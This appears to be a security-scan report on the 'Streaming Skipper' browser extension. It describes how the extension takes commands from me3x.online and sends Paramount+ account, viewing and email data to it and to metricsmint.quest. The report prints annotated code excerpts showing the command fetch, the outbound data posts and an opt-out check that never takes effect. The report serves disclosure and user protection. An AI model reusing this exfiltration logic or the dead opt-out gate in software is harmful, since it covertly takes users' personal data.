Is Streaming Skipper – Skip Ads, Intros & Recaps [QVI] safe?
Streaming Skipper reports your Paramount+ account activity to a third-party server and sends your email address to a second one.
While you're logged into paramountplus.com, the extension fetches remote 'commands' from me3x.online and uses them to collect your account and profile IDs, continue-watching history, subscription/plan details, and live-TV viewing events, sending all of it back to that server using your own Paramount session. When it reads your subscription details, it also sends your real email address, account ID, and country to a second server, metricsmint.quest, tagged with a persistent per-install ID generated for your browser.
Who publishes itHideApp LLC - 37 other listings from the same operator, 2 of them carrying a finding
HideApp LLC - 37 other listings from the same operator, 2 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
37 other listings published from this account, 244k+ users between them. 2 of them carry a finding.
Shared hosts - 1 hostname
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
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Findings
Streaming Skipper sends your Paramount+ viewing activity to me3x.online
On every paramountplus.com page you load while logged in, the extension fetches instructions from me3x.online, then reports your account/profile IDs, continue-watching history, subscription details, and live-TV viewing events back to it.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Static analysis
The user opens any paramountplus.com page while logged into their Paramount+ account.
The extension posts the user's account ID, profile ID, and device identifiers to me3x.online and receives a list of commands to execute.
- Paramount+ account & profile IDaccountId: 8841203, profileId: 2
Directly identifies your Paramount+ account and which profile on it you're using.
- Persistent extension IDextensionUserId: 6f2a9e31-8b7c-4c9a-9e1a-3f7b0c5d2e11
A random ID created once and stored locally, so every report from your browser is linked together even if other identifiers change.
- Device and browser detailshid: a93f2b7e, en-US, GMT-4
Your timezone offset, browser language, and a device hardware ID add fingerprinting detail to your profile.
- Chrome install IDchrome.runtime.id: jnednbilgloghpmmjcaaikkoajcklalm
The extension's own Chrome install identifier is included with every report.
The command-server config and the request it drives
Config with fields resolved
// Field names resolved from the extension's own webpack import comments// (e.g. "config/* nodeRootUrl */.uL" elsewhere in the same file).const config = { rootUrl: "https://me3x.online/", // Ec revision: "ad3d7c8e", // QL nodeRootUrl: "https://me3x.online/n/", // uL piUrl: "https://metricsmint.quest/up" // d1};fetchCommandsToSend, renamed
const BASE_ROUTE = config.nodeRootUrl; // "https://me3x.online/n/"async function fetchCommandsToSend(initData) { // initData carries accountId, profileId, extensionUserId, device hid, // timezone offset, browser language, country, and the opt-out flags. return postPlainJsonRequest(BASE_ROUTE + "paramount/start", initData);}immediate
You didThe command server returns a continue_watching command.
The extension didThe extension fetches the user's continue-watching feed from Paramount using the user's own session cookie and uploads titles and progress to me3x.online.
immediate
You didThe command server returns a subscriptions command.
The extension didThe extension loads the account page, parses the embedded plan data, and uploads it to me3x.online.
immediate
You didThe command server returns a profiles command.
The extension didThe extension queries Paramount's own profile API using the user's session and uploads the profile list to me3x.online.
Every 5 minutes
While a live-tv stream page stays open, the extension reports viewing status every 5 minutes and again whenever the detected program changes.
- me3x.online
Receives account and profile identifiers plus watch, subscription, and live-viewing data; also serves the 'commands' that tell the extension what to collect on each visit.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Streaming Skipper sends your email and account ID to metricsmint.quest
When the subscriptions command runs, the extension reads your account email, account ID, and country and base64-encodes them to metricsmint.quest.
The opt-out setting meant to gate this is never wired to any control, so it can never be set.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
The extension's subscriptions command loads the user's Paramount+ account page and parses the embedded profile data.
It reads the account email, account ID, and country, then sends them, base64-encoded, to metricsmint.quest.
- Account emailcustomer_email: jane.doe@example.com (illustrative)
Your real Paramount+ email address is sent to a server unrelated to Paramount.
- Account IDaccount_id: 8841203
Your numeric Paramount+ account ID ties the sent email to a specific account.
- Registration countrycustomer_country: US
The country you registered with adds location context to the profile.
- Persistent extension IDextension_user_id: 6f2a9e31-8b7c-4c9a-9e1a-3f7b0c5d2e11
The same install-linked ID used elsewhere ties this send to your other reports.
The request body is base64-encoded JSON rather than a normal form or JSON POST, so casual inspection of the network request doesn't show the fields in plain text.
{\"svod\":\"paramount\",\"account_id\":\"8841203\",\"extension_user_id\":\"6f2a9e31-8b7c-4c9a-9e1a-3f7b0c5d2e11\",\"customer_email\":\"jane.doe@example.com\",\"customer_country\":\"US\"} (illustrative)The opt-out check that can never be satisfied
The gate, renamed and annotated
// getOptedOut() only returns true when the storage key is strictly === false.// The key checked here, 'sharePersonalData', is never written anywhere in the// extension: only 'shareInsights' gets a default value (background.js) and a// UI control (optionPage.js). So chrome.storage.sync.get('sharePersonalData')// always resolves undefined, and this PII send is always live.async function isOptedOutPii() { const value = (await chrome.storage.sync.get("sharePersonalData")).sharePersonalData; return value === false;}async function provideSubscriptionsData(config) { const json = JSON.parse(subscriptionsScriptTag.textContent); if (!(await isOptedOutPii())) { await handleAdditionalProfileData(json); // sends email/account_id/country } return json;}The only opt-out control the UI actually has
optionPage.js// optionPage.js only wires up 'shareInsights'; there is no control anywhere// in options.html for 'sharePersonalData'.const shareInsights = document.querySelector('#shareInsights');shareInsights.addEventListener('change', () => { chrome.storage.sync.set({ shareInsights: shareInsights.checked });});- metricsmint.quest
Receives the user's account email, account ID, and country whenever the subscriptions command runs; separate from me3x.online, the extension's main command-and-control domain.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed Streaming Skipper – Skip Ads, Intros & Recaps [QVI] contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- metricsmint.questwidely used
Streaming Skipper – Skip Ads, Intros & Recaps [QVI] sends data to metricsmint.quest. A widely used service: 60 other extensions we have analyzed send data here.
- me3x.onlinewidely used
Streaming Skipper – Skip Ads, Intros & Recaps [QVI] sends data to me3x.online. A widely used service: 58 other extensions we have analyzed send data here.